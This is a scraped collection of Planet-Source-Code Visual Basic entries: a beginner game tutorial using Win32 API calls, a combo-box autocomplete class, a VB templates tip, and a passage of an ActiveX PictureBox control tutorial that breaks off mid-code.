!supportEmptyParas]>┬á<![endif]><o:p></o:p>\nSND_ASYC ΓÇô The file is played and the program continues, if\nyou donΓÇÖt use this one the program waits until the sound is done.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nSND_LOOP ΓÇô The sound will be looped, if you want to stop the\nsound just call the sndPlaySound function again, with no file specified.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nSND_NODEFAULT ΓÇô When this flag is not set, the system\ndefault beep will sound if the given file canΓÇÖt be found. When you set it there\njust wonΓÇÖt be sound. ItΓÇÖs smart to always use this flag when creating a game.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nIn most games you will only use the SND_ASYNC and the\nSND_NODEFAULT flags, therefore I always create a function called PlaySound,\nlike this:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Function PlaySound(sFileName as string)<o:p></o:p>\n ┬á┬á\n SndPlaySound sFileName, SND_ASYNC + SND_NODEFAULT<o:p></o:p>\n End Function<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nTo play a sound just call the PlaySound function. Because\nthe sound is usual in the map of the game I always create a function to add a \\\nto the app.path variable if necessary, I do so because else, if I always add a\n\\ the path can become something like c:\\\\, and that wont work. The new code\nwill then be.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Function FixPath(sPath as string) as string<o:p></o:p>\n ┬á┬á If\n Right(sPath,1) = ΓÇ£\\ΓÇ¥ then<o:p></o:p>\n ┬á┬á┬á┬á┬á\n FixPath = sPath<o:p></o:p>\n ┬á┬á Else<o:p></o:p>\n ┬á┬á┬á┬á┬á\n FixPath = sPath & ΓÇ£\\ΓÇ¥<o:p></o:p>\n ┬á┬á End If<o:p></o:p>\n End Function<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Function PlaySound(sFileName as string)<o:p></o:p>\n ┬á┬á\n SndPlaySound FixPath(App.Path) & sFileName, SND_ASYNC +\n SND_NODEFAULT<o:p></o:p>\n End Function<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nThis way you only need to specify the filename, the program\nwill then automatically add the directory in witch the game is installed.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nOkay, now that you now the basics ( if you donΓÇÖt know the\nbasics, just read it again ) we will make a small game in witch you can walk\naround a character. Create a new project, make a button that says ΓÇ£new gameΓÇ¥ on\nthe first form. Add a new form, set up the form as we did earlier. Make a\nmodule with all the declarations and constants we talked about, they are below:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Declare Function BitBlt Lib \"gdi32\"\n Alias \"BitBlt\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As\n Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long,\n ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Declare Function GetKeyState Lib\n \"user32\" Alias \"GetKeyState\" (ByVal nVirtKey As Long) As\n Integer<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Declare Function sndPlaySound Lib\n \"winmm.dll\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As\n String, ByVal uFlags As Long) As Long<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Declare Function GetTickCount Lib\n \"kernel32\" Alias \"GetTickCount\" () As Long<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Const SRCAND = &H8800C6<o:p></o:p>\n Public Const SRCCOPY = &HCC0020<o:p></o:p>\n Public Const SRCPAINT = &HEE0086<o:p></o:p>\n Public Const KEY_DOWN As Integer = &H1000<o:p></o:p>\n Public Const SND_ASYNC = &H1<o:p></o:p>\n Public Const SND_NODEFAULT = &H2<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nAlso add some declaration to the module, just put them at\nthe bottom:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public UpKey as long<o:p></o:p>\n Public DownKey as long<o:p></o:p>\n Public LeftKey as long<o:p></o:p>\n Public RightKey as long<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public UpPressed as boolean<o:p></o:p>\n Public DownPressed as boolean<o:p></o:p>\n Public LeftPressed as boolean<o:p></o:p>\n Public RightPressed as Boolean<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public PlayerX as integer<o:p></o:p>\n Public PlayerY as integer<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public TimeToEnd as boolean<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n \n\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nNow create a new sub in the module called MainLoop, you can\nalso copy it from below\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Sub MainLoop()<o:p></o:p>\n ┬á┬á Const\n TickDifference as long = 10<o:p></o:p>\n ┬á┬á Dim\n LastTick<o:p></o:p>\n ┬á┬á <o:p></o:p>\n ┬á┬á PlayerX\n = 0<o:p></o:p>\n ┬á┬á PlayerY\n = 0<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á\n TimeToEnd = False<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á InitKeys<o:p></o:p>\n ┬á┬á <o:p></o:p>\n ┬á┬á LastTick\n = GetTickCount()<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á Do until\n TimeToEnd<o:p></o:p>\n ┬á┬á┬á┬á┬á If\n GetKeyState(vbKeyEsc) and KEY_DOWN Then TimeToEnd = True<o:p></o:p>\n ┬á┬á┬á┬á┬á\n Curtick = GetTickCount()<o:p></o:p>\n ┬á┬á┬á┬á┬á\n If┬á Curtick ΓÇô LastTick >\n TickDifference then<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n GetUserInput<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n UpPressed Then<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n PlayerY = PlayerY -4<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n End if<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n DownPressed Then<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n PlayerY = PlayerY + 4<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n End if<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n LeftPressed Then<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n PlayerX = PlayerX - 4<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n End if<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n RightPressed Then<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n PlayerX = PlayerX + 4<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n End if<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n ΓÇÿCheck if the player is still in the screen<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n PlayerX < 0 Then PlayerX = 0<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n PlayerX > 100 Then PlayerX = 400<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á <o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n PlayerY < 0 Then PlayerY = 0<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á If\n PlayerY > 100 Then PlayerY = 400<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á <o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n ΓÇÿDraw the player<o:p></o:p>\n ┬á┬á┬á┬á┬á┬á┬á┬á\n Draw Player<o:p></o:p>\n ┬á┬á┬á┬á┬á End\n If<o:p></o:p>\n ┬á┬á┬á┬á┬á ΓÇÿLet\n the pc do its stuff<o:p></o:p>\n ┬á┬á┬á┬á┬á\n DoEvents<o:p></o:p>\n ┬á┬á Loop<o:p></o:p>\n End Sub\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n \n\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nAdd the two subs InitKeys and GetUserInput to the module:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Sub InitKeys()<o:p></o:p>\n ┬á┬á UpKey =\n vbKeyUp<o:p></o:p>\n ┬á┬á DownKey\n = vbKeyDown<o:p></o:p>\n ┬á┬á LeftKey\n = vbKeyLeft<o:p></o:p>\n ┬á┬á RightKey\n = vbKeyRight<o:p></o:p>\n End Sub<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Function GetUserInput()<o:p></o:p>\n ┬á┬á\n UpPressed = GetKeyState(UpKey) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n DownPressed = GetKeyState(DownKey) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n LeftPressed = GetKeyState(LeftKey) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n RightPressed = GetKeyState(RightKey) And KEY_DOWN<o:p></o:p>\n End Function<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<![if !vml]><img width=96 height=48\nsrc=\"./Making%20games%20using%20the%20Win32%20api_files/image008.jpg\"\nalign=left hspace=12 v:shapes=\"_x0000_s1029\"><![endif]>Now, for the drawing\nIΓÇÖve created a new sub, in the sub the BitBlt function is called twice, create\na Picturebox on the game-form, set the scalemode to true, borderstyle to zero,\nautosize to true and autoredraw to true. Finally, set the visible property to\nfalse. Now add your graphic. I used this one. Now copy the DrawPlayer sub into\nthe module.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Sub DrawPlayer()<o:p></o:p>\n ┬á┬á FrmMain.Cls<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á BitBlt\n frmMain.hDc, PlayerX, PlayerY, 20, 20, Picture1.hDC, 20, 0, SRCAND<o:p></o:p>\n ┬á┬á BitBlt\n frmMain.hDc, PlayerX, PlayerY, 20, 20, Picture1.hDC, 0, 0, SRCPAINT<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n ┬á┬á\n FrmMain.Refresh<o:p></o:p>\n End Sub\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nThe last thing you need to do is add this to the click event\nof the command button on the first form:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n FrmMain.Show<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n DoEvents<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n MainLoop\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nThatΓÇÖs it, you have created a small game in witch you can\nmove around a smile, off course this isnΓÇÖt a fun game, but this game includes\nall the basics, now you can add things like a background, you can just set the\npicture property of the form to any picture you like. You can turn this into an\nRPG or into a pacman type game. You can add sound.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nFor more practise with this way of making games, search for\nΓÇ£My PacmanΓÇ¥ at http://www.Planet-Source-Code.com , you will find a pacman game\nI made, it uses the same techniques as I explained on this tutorial. I hope you\nfind this document , useful. You can send all questions and other things to\nMeelkertje@hotmail.com.\n</div>\n"},{"WorldId":1,"id":11915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11435,"LineNumber":1,"line":"Option Explicit\n' Created by mkeller@hotmail.com - 9/12/2000\nPrivate Declare Function SendMessage Lib \"USER32\" Alias \"SendMessageA\" (ByVal hWnd As Long, _\n ByVal wMsg As Long, _\n ByVal wParam As Long, _\n lParam As Any) As Long\nPrivate Const CB_FINDSTRINGEXACT = &H158\nPrivate Const CB_FINDSTRING = &H14C\nPrivate Const CB_ERR = (-1)\n' Used to hold the keycode supressions\nPrivate m_bSupressKeyCode As Boolean\nPrivate Property Let SupressKeyCode(bValue As Boolean)\n m_bSupressKeyCode = bValue\nEnd Property\nPrivate Property Get SupressKeyCode() As Boolean\n SupressKeyCode = m_bSupressKeyCode\nEnd Property\nPublic Sub SupressKeyStroke(cboBoxName As ComboBox, KeyCode As Integer)\n' This method is called from the KeyDown\n' event of a ComboBox.\n ' Let's just assume we only want to supress\n ' backspace and the delete keys.\n If cboBoxName.Text <> \"\" Then\n Select Case KeyCode\n Case vbKeyDelete\n SupressKeyCode = True\n Case vbKeyBack\n SupressKeyCode = True\n End Select\n End If\nEnd Sub\nPublic Sub GetListValue(cboBoxName As ComboBox)\n' Call this method in the 'Change' event a\n' ComboBox.\n Dim lSendMsgContainer As Long, lUnmatchedChars As Long\n Dim sPartialText As String, sTotalText As String\n ' Prevent processing as a result of changes from code\n If m_bSupressKeyCode Then\n m_bSupressKeyCode = False\n Exit Sub\n End If\n With cboBoxName\n ' Lookup list item matching text so far\n sPartialText = .Text\n lSendMsgContainer = SendMessage(.hWnd, CB_FINDSTRING, -1, ByVal sPartialText)\n ' If match found, append unmatched characters\n If lSendMsgContainer <> CB_ERR Then\n ' Get full text of matching list item\n sTotalText = .List(lSendMsgContainer)\n ' Compute number of unmatched characters\n lUnmatchedChars = Len(sTotalText) - Len(sPartialText)\n If lUnmatchedChars <> 0 Then\n ' Append unmatched characters to string\n SupressKeyCode = True\n .SelText = Right(sTotalText, lUnmatchedChars)\n ' Select unmatched characters\n .SelStart = Len(sPartialText)\n .SelLength = lUnmatchedChars\n End If\n End If\n End With\nEnd Sub\nPrivate Sub Class_Terminate()\n' If there's any kind of err, let's just flush it\n' and go about our business. Whoomp, there it \n' is!\n Err.Clear\nEnd Sub\n"},{"WorldId":1,"id":11441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28858,"LineNumber":1,"line":"Taking advantage of the Templates\nfolder for VB\nIn newsgroups I have seen the question asked a\nlot about how to change the default properties of the form when you add new\nforms to a project. With how much this question is asked I figured if they\njust did a search in the newsgroup they would find the answer without having to\nask again (but that is a different story). Anyhow, I decided to post this\nhere to help all the newbies out there and so I can use this link in my\nresponses to the newsgroups questions.\nSo, how many times have you started a new project\nand found yourself putting in the same old common code you always use in every\nproject. Some people will just point to a common location that they saved\nthis code to, others will use an Add-In that stores reusable code to insert it,\nand so forth. For the most part all of us have some set of code that we\nalways want and need in every project. So others always work with\ndatabases and always need to reference ADO, DAO etc. Others have a preferred\nfont setting for all forms. Well, the simple way to deal with this is to\ntake advantage of the Templates folder found in where you installed VB. \nFor me that is D:\\Program Files\\Microsoft Visual Studio\\VB98\\Template. If\nyou go to your folder location you will see this folder contains sub folders for\ntemplates like:\n<ul>\n <li>Classes</li>\n <li>Code</li>\n <li>Controls</li>\n <li>Forms</li>\n <li>MDIForms</li>\n <li>Menus</li>\n <li>Projects</li>\n <li>Proppage</li>\n <li>Userctls</li>\n <li>Userdocs</li>\n</ul>\nNow the smart ones out there who never saw this\nbefore may be catching on already. Ok, now let me show you how to use this\nfor making a Project Template.\n<ol>\n <li>Open VB. Start a new\n standard exe project.</li>\n <li>Add all the modules, classes,\n forms, references, components, etc that you need</li>\n <li>You may even consider setting\n some project properties like Copyright etc.</li>\n <li>Make sure you have all your\n modules and forms good meaningful names as to not overwrite any other files\n later (you will see). As for the Project Name, save it with a nice English\n like file name.</li>\n <li>Now save ALL these files to D:\\Program Files\\Microsoft Visual Studio\\VB98\\Template\\Projects\n (note to use your path not mine)</li>\n <li>Close VB.</li>\n <li>Open VB.</li>\n</ol>\nNow you should see that project as an option of a\ntemplate for starting a new project. Choose it to start your new project\nand presto, you have ALL your code, and property settings all in place. \nEasy huh.\n<ol>\n <li>Now, go ahead and start just a\n standard EXE project. </li>\n <li>On the that basic first form,\n set it up with all the properties you like using for all your forms. \n Now save JUST THAT FORM\n to D:\\Program Files\\Microsoft Visual Studio\\VB98\\Template\\Forms (remember,\n use meaningful names and not to overwrite existing templates.)</li>\n <li>Close VB.</li>\n <li>Open VB.</li>\n <li>Start a new project form you\n nice new template.</li>\n <li>Click your toolbar to add a\n new form.</li>\n</ol>\nYour new template of a form is now an option of\none to add.\nWhy settle for the default when you can have it\nyour way. I think you can see what you can do now, if not, think about\nanother profession. Just kidding. I hope this helps everyone who did\nnot know about this. I just find it so easy to be able to start a new\nproject and have all the references, components, and code I always use and need\nalready there.\n-Clint <a href=\"mailto:LaFeverlafeverc@hotmail.com\">LaFever \nlafeverc@hotmail.com</a>\n<a href=\"http://vbasic.iscool.net\">http://vbasic.iscool.net</a>\n<a href=\"mailto:LaFeverlafeverc@hotmail.com\"> \n</a>\n \n \n \n \n"},{"WorldId":1,"id":31506,"LineNumber":1,"line":" \nHow to build an Active X Control (Basic\nTutorial)\nI cannot believe I am going to try to attempt to\nteach since I never thought of myself as a teacher, but in one of my previous\npostings, a comment asked if I could post a tutorial on how to make an Active X\nControl because that person liked the way I explain things. So here I\ngo. I would like to request that if I mistake anything or call something\nby it's wrong name that you do not flame me. Feel free to comment and let\nothers know of my mistake, but please, be nice :) Ok, here goes.\nThis tutorial is going to walk you through step\nby step of how to create a new PictureBox control that will have a new property\nto supply a URL to an image on the web to use as it's picture (without the use\nof Winsock or Internet controls). I think everyone would find a use for\nthis type of control. \nInstructions assume you are using Visual Basic\n6.0\nOpen VB\nChoose to start a New Active X Control Project:\nDefault Naming:\nEasy enough right. Ok, first things first,\nwe need to name a few things and set some project properties. Click on the\nProject Explorer Tree on the Project itself (PROJECT1) and then down in the\nproperties window, rename it to: WEBPIC. This name is going to become the\nname of your OCX (duh). Then click on the user control branch and rename\nit to: WebPictureBox. This name is the name it will be known as inside of\nVB (the tool tip on the tool when you put it in your available components later\non for new projects that use it)\nNow go up to your menu and Choose Project. \nThen Choose WebPic Properties. In Project Description enter Web Picture\nBox. This is the name it will be listed as when you pull up the list of\navailable controls to add to a project. You want to keep it english like\nso you can tell what it is. I hate those who make controls bet never set\nthis and then it will default to the name of the OCX which most of the time is\nsome abbreviated name that does not make too much sense when you are just\nskimming though. Anyhow, that is a different story. Go ahead and set\nall the other properties you want about the project, Company, Copyright\netc. I personally like to set auto increment on the version tab.\nClick Ok.\nStart of Coding:\nOk, before we get started, Save your work\n(however you like to save where ever you want)\nPlace a Picture Box on the UserControl (any where\nyou like, code with handle it's position later). Name it: picBOX.\nDouble Click on an empty spot on the User Control. \nThis should take you to UserControl_Initialize(). In that Sub type:\nPrivate Sub\nUserControl_Initialize() \n With UserControl \n .picBOX.Move 0, 0, .ScaleWidth, .ScaleHeight \n End With \nEnd Sub\nThis code make the picture box match the size of\nthe control when it is first placed on a form later.\nNote, instead of ME, you say UserControl when\nreferring to your object. Me refers it to its exposed methods and\nproperties that we will put in soon.\nNow we need to code for when the user control\ngets resized. Go to the Resize Event for the UserControl and type:\nPrivate Sub UserControl_Resize() \n If m_privateResize = False Then \n With UserControl \n .picBOX.Move 0, 0, .ScaleWidth, .ScaleHeight \n End With \n End If \nEnd Sub\nPretty much the same as before, but this just\nkeeps the picture box the same size as the user control always. However, I\nadded a bit to check to see if code told it to resize or did the user do\nit. Later down I have code resizing the control and I don't want this to\nfire. Up in the General Declarations you need to defind m_privateResize as\nBoolean, up top type:\nPrivate m_privateResize As Boolean\nAdding Events:\nNow lets just put in some basic events that our\ncontrol will have. You can add more later after you see how this is\ndone. I am going to add the Click, DblClick, MouseUp, MouseMove, MouseDown,\nand Resize events to my control.\nAt the top of your code for the control in the\nGeneral Declarations section type:\nEvent Click() \nEvent DblClick() \nEvent MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) \nEvent MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) \nEvent MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) \nEvent Resize() \nThese are now events that you can raise later in\nyour code. Which we will program now. Pretty much, we want to say in\nour control when somebody clicks on the picture box (or moves etc) we want to\nraise those events out of our control. So in your code type:\nPrivate Sub picBOX_Click() \n RaiseEvent Click \nEnd Sub \nPrivate Sub picBOX_DblClick() \n RaiseEvent DblClick \nEnd Sub \nPrivate Sub picBOX_MouseDown(Button As Integer, _ \n Shift As Integer, X As Single, Y As Single) \n RaiseEvent MouseDown(Button, Shift, X, Y) \nEnd Sub \nPrivate Sub picBOX_MouseMove(Button As Integer, _ \n Shift As Integer, X As Single, Y As Single) \n RaiseEvent MouseMove(Button, Shift, X, Y) \nEnd Sub \nPrivate Sub picBOX_MouseUp(Button As Integer, _ \n Shift As Integer, X As Single, Y As Single) \n RaiseEvent MouseUp(Button, Shift, X, Y) \nEnd Sub\nPretty simple, really just raising our event when\nthe corresponding events occur within our control.\nNow I want to add the code for when the control\nitself gets resized.\nGo back to your UserControl_Resize code you typed\nearlier and add the RaiseEvent Resize line so it look like this:\nPrivate Sub\nUserControl_Resize() \n If m_privateResize = False Then \n With UserControl \n .picBOX.Move 0, 0,\n.ScaleWidth, .ScaleHeight \n End With \n End If \n RaiseEvent Resize \nEnd Sub\nProperties:\nNow we need some basic properties, really the\nsame ones as the picture box, I will skip some just to keep this quick.\nWe are going to add the: Appearance, BackColor, BorderStyle,\nAutoRedraw, AutoSize, and Picture property to our control.\nIn your code type:\nPublic Property Get Appearance() As Integer \n Appearance = picBOX.Appearance \nEnd Property \nPublic Property Let Appearance(ByVal New_Appearance As Integer) \n picBOX.Appearance() = New_Appearance \n PropertyChanged \"Appearance\" \nEnd Property \nPublic Property Get BackColor() As OLE_COLOR \n BackColor = picBOX.BackColor \nEnd Property \nPublic Property Let BackColor(ByVal New_BackColor As OLE_COLOR) \n picBOX.BackColor() = New_BackColor \n PropertyChanged \"BackColor\" \nEnd Property \nPublic Property Get BorderStyle() As Integer \n BorderStyle = picBOX.BorderStyle \nEnd Property \nPublic Property Let BorderStyle(ByVal New_BorderStyle As Integer) \n picBOX.BorderStyle() = New_BorderStyle \n PropertyChanged \"BorderStyle\" \nEnd Property \nPublic Property Get AutoRedraw() As Boolean \n AutoRedraw = picBOX.AutoRedraw \nEnd Property \nPublic Property Let AutoRedraw(ByVal New_AutoRedraw As Boolean) \n picBOX.AutoRedraw() = New_AutoRedraw \n PropertyChanged \"AutoRedraw\" \nEnd Property \nPublic Property Get AutoSize() As Boolean \n AutoSize = picBOX.AutoSize \nEnd Property \nPublic Property Let AutoSize(ByVal New_AutoSize As Boolean) \n picBOX.AutoSize() = New_AutoSize \n PropertyChanged \"AutoSize\" \nEnd Property \nPublic Property Get Picture() As Picture \n Set Picture = picBOX.Picture \nEnd Property \nPublic Property Set Picture(ByVal New_Picture As Picture) \n Set picBOX.Picture = New_Picture \n PropertyChanged \"Picture\" \nEnd Property \nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag) \n picBOX.Appearance = PropBag.ReadProperty(\"Appearance\", 1) \n picBOX.BackColor = PropBag.ReadProperty(\"BackColor\", &H8000000F) \n picBOX.BorderStyle = PropBag.ReadProperty(\"BorderStyle\", 1) \n picBOX.AutoRedraw = PropBag.ReadProperty(\"AutoRedraw\", False) \n picBOX.AutoSize = PropBag.ReadProperty(\"AutoSize\", False) \n Set Picture = PropBag.ReadProperty(\"Picture\", Nothing) \nEnd Sub \nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag) \n Call PropBag.WriteProperty(\"Appearance\", picBOX.Appearance, 1) \n Call PropBag.WriteProperty(\"BackColor\", picBOX.BackColor, &H8000000F) \n Call PropBag.WriteProperty(\"BorderStyle\", picBOX.BorderStyle, 1) \n Call PropBag.WriteProperty(\"AutoRedraw\", picBOX.AutoRedraw, False) \n Call PropBag.WriteProperty(\"AutoSize\", picBOX.AutoSize, False) \n Call PropBag.WriteProperty(\"Picture\", Picture, Nothing) \nEnd Sub \n\nOk, to explain all that, in general you just made\nproperties to your control that when they get set,\nwill then in turn set properties of the picture box inside of your\ncontrol. The ReadProperties and WriteProperties as subs that will save\nthese properties to the property bag of the control so it remembers what you set\neven after you close. As you typed those lines (if you did not copy/paste)\nthen you would have noticed what each of those arguments\nare, Name, Value, Default. Actually pretty\neasy to understand I think.\nTweaking:\nOk, with that added, we need to tweak a few\nthings now. One thing that stands out is the AutoResize Event. Right\nnow our control is coded that if the developer resizes the user control, we\nresize the picture box to fit. But what happens when AutoSize is set to\ntrue and a new picture gets assigned. The picture box will change\nsize. Therefore, we need to code to make the usercontrol match back to the\nsize of the new picture loaded. So, in the "Public Property Set\nPicture" sub, we need to add some code to make it look like this:\nPublic Property Set Picture(ByVal New_Picture As Picture) \n Set picBOX.Picture = New_Picture \n If Me.AutoSize = True Then 